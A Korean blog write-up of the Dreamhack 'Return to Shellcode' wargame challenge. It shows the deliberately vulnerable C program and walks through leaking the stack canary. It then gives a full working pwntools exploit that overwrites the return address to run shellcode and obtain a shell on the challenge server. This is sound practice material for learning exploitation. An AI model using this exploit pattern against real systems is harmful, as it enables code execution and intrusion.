카테고리 없음

[Pwnable] Return to Shellcode write up

poiri3r 2025. 9. 23. 17:15

오늘은 드림핵의 Return to Shellcode 문제에 대한 writeup을 작성해보겠습니다.

저번 포스팅에서 살펴봤던 스택 카나리의 문제라고 생각하면 될 것 같습니다.

해당 문제는 아래 링크에서 다운로드 받으시면 됩니다.

 

https://dreamhack.io/wargame/challenges/352/

 

Return to Shellcode

DescriptionExploit Tech: Return to Shellcode에서 실습하는 문제입니다.

dreamhack.io

 

먼저 c언어 소스코드를 살펴보겠습니다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

컴파일은 gcc로 되어있고, 버퍼가 하나 선언되어 있는데, 먼저 편의를 위해서 buf의  주소와 rbp 및 buf 사이의 주소 차이를 처음에 출력해주고 있습니다. 

버퍼의 크기는 0x50으로 되어있지만 두번의 입력(read, gets)을 받는데 read는 0x100만큼 gets는 길이제한 없이 문자를 입력받습니다.

 

그래서 저희는 두번의 입력으로 오버플로우를 발생시켜서

1. 첫번째 입력에서 카나리 값을 구한 뒤

2. 두번째 입력 때 카나리값을 포함한 셸코드를 작성시켜서 셸을 획득해야 합니다.

 

일단 pwntools를 이용해서 서버에 연결해야하므로 venv가상환경을 먼저 켜두고 서버에 연결 하겠습니다.

source pwntools-env/bin/activate

 

포너블 문제를 너무 오랜만에 손대니까 기억이 가물가물하네요..ㅎ

 

script.py를 만들어서 문제와 같은 파일에 저장해두었습니다.

from pwn import*

p = remote("host1.dreamhack.games", PID) //드림핵게임즈에 연결 

p.recvuntil(b'buf: ')             //버퍼 주소 출력 전까지 recv
buf = int(p.recvline() [:-1], 16) //버퍼 주소를 buf란 변수에 저장

p.recvuntil(b'rbp: ')        //버퍼와 rbp사이의 거리 출력전
buftorbp = int(p.recvline()) //buftorbp에 거리 저장
buftocanary = buftorbp - 8   //buf와 canary사이의 거리 저장

 

일단 여기까지 적어놓고 확인차 출력을 해보겠습니다

임시로 print를 추가해줬고, 출력결과입니다

 

이제 카나리를 구하기 위한 코드를 작성해보겠습니다. 

스택프레임의 구조는 위와 같습니다.

일단 버퍼의 크기가 0x50이고 10진수로는 80입니다. 버퍼가 스택 프레임에 올라갈때 패딩이 0x8만큼 붙기 때문에 버퍼에서 카나리까지의 거리는 출력값처럼 88이 나옵니다.

카나리의 시작은 널문자로 시작하기 때문에 처음 입력에 문자를 89개입력하면 널문자를 제외한 카나리 값이 출력될 것입니다.

이제 payload를 작성해보겠습니다.

poayload = (b'A'* 89)
p.sendafter(b"Input: ", payload)

 

임시로 확인해보기 위해 recvuntil로 출력값을 저장하고 출력해보겠습니다.

일단 출력이 잘 되는 것 같고 우리가 입력한 A*89 이후에 출력된 값 7개를 저장해서 canary로 저장을 하면 될 것 같습니다.

이런 코드를 작성한 뒤에 출력을 했을 때,

이렇게 마지막이 00으로 출력이 되는데 이게 처음엔 순서를 두글자씩 바꿔서 0x00으로 바꿔야하나 했었는데 pwntools에 있는 p64()가 알아서 리틀엔디언으로 넣어준다고 합니다.

 

canary = u64(b'\x00' + p.recvn(7)) 로 canary값을 저장을 했으니 페이로드를 마저 작성해보면 일단 버퍼에 셸코드를 먼저 작성해줘야 하는데 shellcraft를 통해서 만들겠습니다.

 

드림핵을 보니 .ljust(width, fill) 문법을 사용하면 왼쪽 정렬 + 오른쪽 패딩으로 버퍼의 끝까지 fill에 들어가있는 문자열로 자동으로 채워준다합니다.

sh = asm(shellcraft.sh())
payload = sh.ljust(buftocanary, b'A') + p64(canary) + b'B'*0x8 + p64(buf)
p.sendlineafter(b"Input: ", payload)

p.interactive()

 

payload는 버퍼의 크기 + canary값 + SFP 8바이트 + 버퍼의 주소를 넣어서 리턴주소에 버퍼의 주소값을 넣으면 완성입니다.

 

한번 작동이 안되서 중간중간 프린트문을 넣어줬고 총 코드는 다음과 같습니다.

from pwn import *

context.arch = 'amd64'

p = remote("host8.dreamhack.games", 20724)

p.recvuntil(b'buf: ')
buf = int(p.recvline() [:-1], 16)
p.recvuntil(b'$rbp: ')
buftorbp = int(p.recvline())
buftocanary = buftorbp - 8

payload = (b'A'*89)
p.sendafter(b"Input: ", payload)
print(payload)

p.recvuntil(payload)
canary = u64(b'\x00' + p.recvn(7))
print(canary)

sh = asm(shellcraft.sh())
payload = sh.ljust(buftocanary, b'A') + p64(canary) + b'B'*0x8 + p64(buf)
print(payload)

p.sendlineafter(b"Input:", payload)

p.interactive()

결과입니다.

 

우여곡절이 많았는데 겨우겨우 성공했네요.

이론자체는 어렵지 않지만 문자열 처리가 까다로운 부분이 좀 있어서 자주자주 연습해서 감을 잃지 않아야 할 것 같습니다.

다음 포스팅에는 드림핵 다음 챕터인 ssp_001에 대한 write-up을 공부해서 작성해보겠습니다.

읽어주셔서 감사합니다~